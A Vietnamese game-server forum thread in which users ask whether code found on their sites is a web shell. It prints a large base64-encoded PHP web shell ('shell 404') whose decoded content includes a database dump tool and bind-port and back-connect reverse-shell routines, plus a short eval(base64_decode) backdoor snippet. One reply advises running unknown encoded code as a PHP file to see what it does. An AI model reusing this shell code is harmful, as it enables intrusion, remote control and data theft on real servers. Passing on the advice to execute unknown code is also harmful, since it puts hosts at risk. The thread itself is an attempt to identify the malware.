AgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJz ZXQnKSkgDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm 4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5r KTsgDQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgIC AgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VUIENI QVJTRVQgJy4kc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIG JyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6 IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX3NldF 9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOyAN CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgIC AgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQog ICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGR1bXAoJHRhYm xlKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBl KSAgICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJz ogDQogICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+ cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYC cpOyANCiAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15 c3FsX2ZldGNoX2FycmF5KCRyZXMpOyANCiAgICAgICAgICAgIC AgICAgICAgZWNobyAkY3JlYXRlWzFdLiI7XG5cbiI7IA0KICAg ICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVC AqIEZST00gYCcuJHRhYmxlLidgJyk7IA0KICAgICAgICAgICAg ICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKS B7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMg PSBhcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIG ZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7IA0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbX lzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7IA0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPS AiYCIuJGsuImAiOyANCiAgICAgICAgICAgICAgICAgICAgICAg IH0gDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVC BJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRj b2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaX RlbSkuJyk7Jy4iXG4iOyANCiAgICAgICAgICAgICAgICAgICAg fSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIC AgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAg ICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJH RhYmxlKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRp dGVtID0gJHRoaXMtPmZldGNoKCkpIHsgDQogICAgICAgICAgIC AgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7IA0KICAg ICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcy Akaz0+JHYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIj sgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVt bnNbXSA9ICRrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH 0gDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJ TlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW 1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0p LicpOycuIlxuIjsgDQogICAgICAgICAgICAgICAgICAgIH0gDQ ogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAg fSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgIC AgIH0gDQogICAgfTsgDQogICAgJGRiID0gbmV3IERiQ2xhc3Mo JF9QT1NUWyd0eXBlJ10pOyANCiAgICBpZihAJF9QT1NUWydwMi ddPT0nZG93bmxvYWQnKSB7IA0KICAgICAgICBvYl9zdGFydCgi b2JfZ3poYW5kbGVyIiwgNDA5Nik7IA0KICAgICAgICAkZGItPm Nvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3Nx bF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVF snc3FsX2Jhc2UnXSk7IA0KICAgICAgICAkZGItPnNlbGVjdGRi KCRfUE9TVFsnc3FsX2Jhc2UnXSk7IA0KICAgICAgICBoZWFkZX IoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZp bGVuYW1lPWR1bXAuc3FsIik7IA0KICAgICAgICBoZWFkZXIoIk NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOyANCiAgICAgICAg Zm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KSANCiAgICAgIC AgICAgICAgICAkZGItPmR1bXAoJHYpOyANCiAgICAgICAgZXhp dDsgDQogICAgfSANCiAgICBwcmludEhlYWRlcigpOyANCiAgIC A/PiANCiAgICA8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3 M9Y29udGVudD4gDQogICAgPGZvcm0gbmFtZT0ic2YiIG1ldGhv ZD0icG9zdCI+IA0KICAgICAgICA8dGFibGUgY2VsbHBhZGRpbm c9IjIiIGNlbGxzcGFjaW5nPSIwIj4gDQogICAgICAgICAgICA8 dHI+IA0KICAgICAgICAgICAgICAgIDx0ZD5UeXBlPC90ZD4gDQ ogICAgICAgICAgICAgICAgPHRkPkhvc3Q8L3RkPiANCiAgICAg ICAgICAgICAgICA8dGQ+TG9naW48L3RkPiANCiAgICAgICAgIC AgICAgICA8dGQ+UGFzc3dvcmQ8L3RkPiANCiAgICAgICAgICAg ICAgICA8dGQ+RGF0YWJhc2U8L3RkPiANCiAgICAgICAgICAgIC AgICA8dGQ+PC90ZD4gDQogICAgICAgICAgICA8L3RyPiANCiAg ICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgPGlucH V0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+IA0KICAg ICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPX AxIHZhbHVlPSdxdWVyeSc+IA0KICAgICAgICAgICAgICAgIDxp bnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPiANCiAgICAgICAgIC AgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVl PSc8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXS k7Pz4nPiANCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1o aWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc8Pz1pc3NldCgkX1 BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106Jyc/Pic+IA0KICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgIC AgICAgICAgICAgIDxzZWxlY3QgbmFtZT0ndHlwZSc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zonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+Jz sgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAn PC9zZWxlY3Q+JzsgDQogICAgICAgIH0gDQogICAgICAgIGVsc2 UgZWNobyAkdG1wOyANCiAgICB9ZWxzZQ0KICAgICAgICBlY2hv ICR0bXA7IA0KICAgID8+PC90ZD4gDQogICAgICAgICAgICAgIC AgPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwv dGQ+IA0KICAgICAgICAgICAgPC90cj4gDQogICAgICAgIDwvdG FibGU+IA0KICAgICAgICA8c2NyaXB0PiANCiAgICAgICAgICAg IGZ1bmN0aW9uIHN0KHQsbCkgeyANCiAgICAgICAgICAgICAgIC Bkb2N1bWVudC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOyANCiAg ICAgICAgICAgICAgICBkb2N1bWVudC5zZi5wMi52YWx1ZSA9IH Q7IA0KICAgICAgICAgICAgICAgIGlmKGwhPW51bGwpZG9jdW1l bnQuc2YucDMudmFsdWUgPSBsOyANCiAgICAgICAgICAgICAgIC Bkb2N1bWVudC5zZi5zdWJtaXQoKTsgDQogICAgICAgICAgICB9 IA0KICAgICAgICAgICAgZnVuY3Rpb24gaXMoKSB7IA0KICAgIC AgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5zZi5lbGVt ZW50c1sndGJsW10nXS5sZW5ndGg7KytpKSANCiAgICAgICAgIC AgICAgICAgICAgZG9jdW1lbnQuc2YuZWxlbWVudHNbJ3RibFtd J11baV0uY2hlY2tlZCA9ICFkb2N1bWVudC5zZi5lbGVtZW50c1 sndGJsW10nXVtpXS5jaGVja2VkOyANCiAgICAgICAgICAgIH0g DQogICAgICAgIDwvc2NyaXB0PiANCiAgICA8P3BocCANCiAgIC BpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7IA0KICAgICAg ICBlY2hvICINCjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRka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C B0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9j dW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW 50LnNmLnN1Ym1pdCgpOyc+PC90ZD48dGQgc3R5bGU9J2JvcmRl ci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOyANCiAgICAgICAgIC AgICAgICBpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7 IA0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AxJ10gPS AncXVlcnknOyANCiAgICAgICAgICAgICAgICAgICAgJGRiLT5x dWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiRfUE 9TVFsncDInXS4nJyk7IA0KICAgICAgICAgICAgICAgICAgICAk bnVtID0gJGRiLT5mZXRjaCgpOyANCiAgICAgICAgICAgICAgIC AgICAgJG51bSA9ICRudW1bJ24nXTsgDQogICAgICAgICAgICAg ICAgICAgIGVjaG8gIjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3 NwYW4+ICgkbnVtKSAiOyANCiAgICAgICAgICAgICAgICAgICAg Zm9yKCRpPTA7JGk8KCRudW0vMzApOyRpKyspIA0KICAgICAgIC AgICAgICAgICAgICAgICAgaWYoJGkgIT0gKGludCkkX1BPU1Rb J3AzJ10pIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG VjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J3N0KFwiIi4kX1BP U1RbJ3AyJ10uIlwiLCAkaSknPiIsKCRpKzEpLCI8L2E+ICI7IA 0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCRpKzEpLCIgIj sgDQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlw ZSddPT0ncGdzcWwnKSANCiAgICAgICAgICAgICAgICAgICAgIC AgICRfUE9TVFsncDMnXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9Q T1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVF sncDMnXSozMCk7IA0KICAgICAgICAgICAgICAgICAgICBlbHNl DQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ1 0gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2Ag TElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsgDQogIC AgICAgICAgICAgICAgICAgIGVjaG8gIg0KIA0KIjsgDQogICAg ICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBpZigoQC RfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9Q T1NUWydwMyddKSkgeyANCiAgICAgICAgICAgICAgICAgICAgJG RiLT5xdWVyeShAJF9QT1NUWydwMyddKTsgDQogICAgICAgICAg ICAgICAgICAgIGlmKCRkYi0+cmVzICE9PSBmYWxzZSkgeyANCi AgICAgICAgICAgICAgICAgICAgICAgICR0aXRsZSA9IGZhbHNl OyANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YW JsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRp bmc9MiBjbGFzcz1tYWluPic7IA0KICAgICAgICAgICAgICAgIC AgICAgICAgJGxpbmUgPSAxOyANCiAgICAgICAgICAgICAgICAg ICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSAgIC B7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEk dGl0bGUpICAgIHsgDQogICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgIGVjaG8gJzx0cj4nOyANCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAka2 V5ID0+ICR2YWx1ZSkgDQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPi c7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBy ZXNldCgkaXRlbSk7IA0KICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgICAkdGl0bGU9dHJ1ZTsgDQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7IA 0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGlu ZSA9IDI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH 0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAn PHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOyANCiAgICAgICAgIC AgICAgICAgICAgICAgICAgICAkbGluZSA9ICRsaW5lPT0xPzI6 MTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZW FjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgeyANCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbHVlID 09IG51bGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOy ANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxz ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygk dmFsdWUpKS4nPC90ZD4nOyANCiAgICAgICAgICAgICAgICAgIC AgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgIGVjaG8gJzwvdHI+JzsgDQogICAgICAgICAgICAgICAgIC AgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNo byAnPC90YWJsZT4nOyANCiAgICAgICAgICAgICAgICAgICAgfS BlbHNlIHsgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hv ICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhb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NlNjRfZGVjb2RlKCR0KSk7IA0KICAg ICAgICAgICAgICAgIEBmY2xvc2UoJHcpOyANCiAgICAgICAgIC AgIH0gDQogICAgICAgIH0gDQogICAgICAgIGlmKCRfUE9TVFsn cDEnXSA9PSAnYnBjJykgeyANCiAgICAgICAgICAgIGNmKCIvdG 1wL2JwLmMiLCRiaW5kX3BvcnRfYyk7IA0KICAgICAgICAgICAg JG91dCA9IGV4KCJnY2MgLW8gL3RtcC9icCAvdG1wL2JwLmMiKT sgDQogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JwLmMiKTsg DQogICAgICAgICAgICAkb3V0IC49IGV4KCIvdG1wL2JwICIuJF 9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7IA0K ICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dF xuIi5leCgicHMgYXV4IHwgZ3JlcCBicCIpLiI8L3ByZT4iOyAN CiAgICAgICAgfSANCiAgICAgICAgaWYoJF9QT1NUWydwMSddID 09ICdicHAnKSB7IA0KICAgICAgICAgICAgY2YoIi90bXAvYnAu cGwiLCRiaW5kX3BvcnRfcCk7IA0KICAgICAgICAgICAgJG91dC A9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9Q T1NUWydwMiddLiIgJiIpOyANCiAgICAgICAgICAgIGVjaG8gIj xwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdy ZXAgYnAucGwiKS4iPC9wcmU+IjsgDQogICAgICAgIH0gDQogIC AgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgeyANCiAg ICAgICAgICAgIGNmKCIvdG1wL2JjLmMiLCRiYWNrX2Nvbm5lY3 RfYyk7IA0KICAgICAgICAgICAgJG91dCA9IGV4KCJnY2MgLW8g L3RtcC9iYyAvdG1wL2JjLmMiKTsgDQogICAgICAgICAgICBAdW 5saW5rKCIvdG1wL2JjLmMiKTsgDQogICAgICAgICAgICAkb3V0 IC49IGV4KCIvdG1wL2JjICIuJF9QT1NUWydwMiddLiIgIi4kX1 BPU1RbJ3AzJ10uIiAmIik7IA0KICAgICAgICAgICAgZWNobyAi PHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3 JlcCBiYyIpLiI8L3ByZT4iOyANCiAgICAgICAgfSANCiAgICAg ICAgaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7IA0KICAgIC AgICAgICAgY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3Rf cCk7IA0KICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZX JsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4k X1BPU1RbJ3AzJ10uIiAmIik7IA0KICAgICAgICAgICAgZWNoby AiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwg Z3JlcCBiYy5wbCIpLiI8L3ByZT4iOyANCiAgICAgICAgfSANCi AgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHByaW50 Rm9vdGVyKCk7IA0KfSANCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXS kgKSANCiAgICBpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYm IGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2 FjdGlvbikpIA0KICAgICAgICAkX1BPU1RbJ2EnXSA9ICRkZWZh dWx0X2FjdGlvbjsgDQogICAgZWxzZQ0KICAgICAgICAkX1BPU1 RbJ2EnXSA9ICdTZWNJbmZvJzsgDQppZiggIWVtcHR5KCRfUE9T VFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLi AkX1BPU1RbJ2EnXSkgKSANCiAgICBjYWxsX3VzZXJfZnVuYygn YWN0aW9uJyAuICRfUE9TVFsnYSddKTs=')); ?>
    không biết cái này có ảnh hưởng gì đến việc mất thẻ ko anh em xem giúp!
    Khách viếng thăm hãy cùng supberman xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  2. #2
    Thành Viên GameZone 033718730's Avatar
    Ngày tham gia
    Feb 2010
    Bài viết
    248
    Thanks
    14
    Thanked 33 Times in 15 Posts

    Ðề: đây có phải là sell???/

    đây là mã hóa thôi chạy thử xem xem nó ra shell ko là biết ngay
    Khách viếng thăm hãy cùng 033718730 xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  3. Các thành viên gởi lời cảm ơn đến 033718730 vì bài viết này !

    shsangsh (26-08-14)

  4. #3
    ♔YONKOU♔ Edward_Newgate's Avatar
    Ngày tham gia
    Nov 2010
    Bài viết
    2,773
    Thanks
    533
    Thanked 1,059 Times in 655 Posts

    Ðề: đây có phải là sell???/

    Shell 404 đấy
    STRONGEST MAN

  5. #4
    Em Là Gà :( Mr.QuangHuy's Avatar
    Ngày tham gia
    Aug 2008
    Bài viết
    197
    Thanks
    30
    Thanked 197 Times in 31 Posts

    Ðề: đây có phải là sell???/

    Shell chứ sao lại sell .
    Khách viếng thăm hãy cùng Mr.QuangHuy xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  6. #5
    Thành Viên
    Ngày tham gia
    Aug 2006
    Bài viết
    422
    Thanks
    66
    Thanked 19 Times in 18 Posts

    Ðề: Đây có phải là shell?

    if(isset($_GET['qT'])){
    eval(base64_decode('aWYoIWZpbGVfZXhpc3RzKCcuL2RhdG EvcmVnLnBocCcpKXsgZWNobyAncVQnOyB9'));
    đây nữa hix.toàn loại này không biết thế nào nữa
    Khách viếng thăm hãy cùng supberman xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  7. #6
    Thành Viên Tâm Huyết Hào Hoa Công Tử's Avatar
    Ngày tham gia
    Mar 2011
    Đang ở
    Hoa Quả Sơn
    Bài viết
    1,986
    Thanks
    239
    Thanked 676 Times in 455 Posts

    Ðề: Đây có phải là shell?

    shell 100%.............................................. .
    Cho thuê VPS X5650 RAM 8GB + SSD 130 GB + MUSERVER SS6.9 + web config a-z + hỗ trợ FULL (config + quản lý + quảng cáo ads fb...)
    Skype : ngocduongnet
    Group giao lưu admin MUSERVER : [Only registered and activated users can see links. ]

  8. #7
    Thành Viên Tâm Huyết hoainiemclub's Avatar
    Ngày tham gia
    Apr 2011
    Bài viết
    1,086
    Thanks
    233
    Thanked 365 Times in 285 Posts

    Ðề: Đây có phải là shell?

    Trích dẫn Gửi bởi supberman [Only registered and activated users can see links. ]
    đây nữa hix.toàn loại này không biết thế nào nữa
    cái trên cùng k biết chứ cái base 64 là 1 dạng mã hóa mà
    Chào Khách viếng thăm Rất hân hạnh được làm quen
    Yahoo: [Only registered and activated users can see links. ]
    Skype : Marvel.HoNa

  9. #8
    Thành Viên Tâm Huyết
    Ngày tham gia
    May 2012
    Bài viết
    2,329
    Thanks
    870
    Thanked 588 Times in 454 Posts

    Ðề: Đây có phải là shell?

    có phải đoạn code của home tv web ko
    Khách viếng thăm hãy cùng The Gamer xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  10. #9
    Thành Viên
    Ngày tham gia
    Feb 2012
    Bài viết
    463
    Thanks
    100
    Thanked 88 Times in 71 Posts

    Ðề: Đây có phải là shell?

    Gửi 1 lời nhắn tới tất cả các bạn không biết j về decode , không biết về mã hóa , giải mã,
    khi các bạn gặp 1 file lạ , hoặc 1 đoạn mã base64 lạ, copy nó thành 1 file php, chạy nó là biết ngay,
    Của bạn bên trên là con shell 404 , con này đc share mình thấy lần đầu trên VNW
    mà nói thật là nếu bạn dùng host việt nam , và 1 sever có hàng chục , thậm trí hàng trăm site , thì việc bạn bị local là chuyện bình thường nếu o nắm rõ nguyên tắc chmod , và bảo mật
    Khách viếng thăm hãy cùng thuynga xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  11. #10
    Thành Viên
    Ngày tham gia
    Jul 2012
    Bài viết
    18
    Thanks
    6
    Thanked 20 Times in 4 Posts

    Ðề: Đây có phải là shell?

    Hàm shell

    eval(base64_decode
    ai cần scan shell pm mình scan trong code cho
    Khách viếng thăm hãy cùng xinhtraj.11o2 xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

 

 
Trang 1 của 2 1 2 CuốiCuối

Các Chủ đề tương tự

  1. [MU] Forum có shell xin cách loại bỏ :(
    Bởi heroviet2301 trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 2
    Bài viết cuối: 03-07-12, 04:09 PM
  2. Lỗi server 1k + shell
    Bởi pekubu trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 3
    Bài viết cuối: 26-03-12, 07:31 PM
  3. Web CLBMUVN 3.5 by NTPRO có Shell ?
    Bởi TND.VN trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 3
    Bài viết cuối: 14-08-11, 02:32 PM
  4. Tự động tìm shell trên host (phòng ngừa bị local)
    Bởi blackcatyb trong diễn đàn SQL Server & Website
    Trả lời: 9
    Bài viết cuối: 29-05-11, 10:27 PM
  5. Tự động tìm shell trên host (phòng ngừa bị local)
    Bởi blackcatyb trong diễn đàn SQL Server & Website
    Trả lời: 3
    Bài viết cuối: 25-05-11, 11:08 PM

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •  
Múi giờ GMT +7. Bây giờ là 10:02 AM.
vBulletin®, Copyright ©2000-2011, Jelsoft Enterprises Ltd.
CLBGamesVN không chịu trách nhiệm về Luật Bản Quyền của các tài liệu, bài viết v.v...được đăng tải trên diễn đàn này.
Diễn đàn phát triển dưới sự đóng góp của tất cả thành viên. BQT chỉ là những người thành lập ra sân chơi, quản lý và duy trì về mặt kỹ thuật, nội dung khi hợp lệ.